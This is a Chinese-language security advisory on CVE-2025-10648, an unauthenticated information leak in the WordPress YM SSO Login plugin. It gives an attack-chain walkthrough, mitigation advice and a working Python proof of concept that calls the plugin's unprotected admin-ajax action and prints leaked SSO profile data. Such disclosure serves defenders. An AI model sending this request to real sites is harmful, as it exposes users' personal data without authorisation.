IPBUF安全漏洞报告
English
CVE-2025-10648 CVSS 5.3 中危

CVE-2025-10648:WordPress YM SSO Login插件未授权访问漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-10648
漏洞类型
未授权访问(Missing Capability Check)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
YourMembership Single Sign On – YM SSO Login(WordPress插件)

相关标签

WordPress插件漏洞未授权访问SSOYourMembershipMissing Capability Check信息泄露CWE-862中危漏洞

漏洞概述

CVE-2025-10648是WordPress平台上一款名为"YourMembership Single Sign On – YM SSO Login"(简称YM SSO Login)的单点登录插件中存在的一个安全漏洞。该漏洞由Wordfence安全团队的安全研究员发现并报告,披露日期为2025年10月15日。根据CVSS 3.1评分体系,该漏洞获得了5.3分的中危评分。

该漏洞的核心问题在于插件中的'moym_display_test_attributes'函数缺少必要的权限校验(capability check)。在WordPress插件开发中,对敏感操作进行权限验证是基本的安全实践,但该插件在所有1.1.7及以下版本中均未对此函数实施访问控制。这意味着任何未经认证的远程攻击者都可以通过网络直接调用该函数,读取最近一次SSO登录用户的配置文件数据。

虽然该漏洞不会导致系统完整性破坏或服务不可用,但由于其无需认证即可利用,且能够泄露用户敏感的个人资料信息(如姓名、邮箱、角色等),仍然对用户隐私和数据安全构成了实质性威胁。该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限(PR:N),也无需用户交互(UI:N),机密性影响为低(C:L),完整性和可用性均不受影响。

技术细节

该漏洞的技术根源在于WordPress插件开发中常见的安全反模式——缺少能力检查(Missing Capability Check)。

在WordPress中,插件通常通过AJAX端点或REST API注册可被前端调用的函数。开发者应当在每个公开端点的回调函数开头调用current_user_can()等权限校验函数,以确保只有具备相应权限的用户才能访问敏感功能。然而,YM SSO Login插件的'moym_display_test_attributes'函数(位于class-moym-sso.php文件的第88行和第112行附近)未实施任何此类检查。

具体而言,该函数原本设计用于调试目的,输出最近一次SSO登录的属性数据(profile data),但在实现时未限制调用者身份。攻击者只需构造一个简单的HTTP请求(如通过WordPress的admin-ajax.php端点,action=moym_display_test_attributes),即可触发该函数并获取敏感的用户配置文件信息。

利用条件极其简单:
1. 目标站点安装并启用了YM SSO Login插件(版本≤1.1.7);
2. 攻击者无需任何认证凭据;
3. 通过简单的HTTP GET或POST请求即可触发漏洞;
4. 服务器将返回最近一次SSO登录用户的属性数据。

虽然泄露的数据范围有限(仅限最近一次登录的属性),但其中可能包含用户的PII(个人身份信息),如姓名、邮箱地址、会员等级等,在特定场景下可用于进一步的社会工程攻击或数据聚合攻击。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过互联网扫描安装有YM SSO Login插件的WordPress站点,确认目标使用受影响的版本(≤1.1.7)。可通过查看插件的readme.txt或源代码版本号进行识别。
STEP 2
步骤2:构造恶意请求
攻击者构造一个指向WordPress admin-ajax.php端点的HTTP请求,设置action参数为'moym_display_test_attributes',无需携带任何认证Cookie或Token。
STEP 3
步骤3:发送未授权请求
通过GET或POST方法向目标端点发送请求。由于函数缺少capability check,WordPress不会进行权限验证,直接执行该函数。
STEP 4
步骤4:获取敏感数据
服务器返回最近一次SSO登录用户的配置文件数据(属性信息),攻击者成功获取用户的PII数据。
STEP 5
步骤5:数据利用
泄露的数据可用于社会工程攻击、钓鱼攻击或与其他泄露数据进行关联聚合,进一步扩大攻击影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10648 PoC # Vulnerability: Missing capability check in 'moym_display_test_attributes' function # Affected: YM SSO Login plugin <= 1.1.7 # Impact: Unauthenticated read of latest SSO login profile data import requests # Target WordPress site URL TARGET_URL = "http://target-wordpress-site.com" # WordPress AJAX endpoint for unauthenticated action invocation # The 'moym_display_test_attributes' function lacks capability check, # allowing any unauthenticated attacker to invoke it. ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Payload: action parameter triggers the vulnerable function payload = { "action": "moym_display_test_attributes" } # Send the exploit request (no authentication required) response = requests.post(ajax_url, data=payload) # The server will return the profile attributes of the latest SSO login if response.status_code == 200: print("[+] Exploit successful!") print("[+] Leaked SSO profile data:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") # Alternative: GET request also works in many cases response_get = requests.get(ajax_url, params=payload) if response_get.status_code == 200 and response_get.text: print("\n[+] GET request also returned data:") print(response_get.text)

影响范围

YourMembership Single Sign On – YM SSO Login <= 1.1.7

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)通过WAF或服务器防火墙规则,阻断对/wp-admin/admin-ajax.php中action=moym_display_test_attributes的访问请求;2)如非必要,可临时禁用YM SSO Login插件;3)监控服务器日志,关注是否有异常的admin-ajax.php请求;4)检查是否已有未授权访问的痕迹,特别是SSO用户配置文件数据是否被未授权读取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表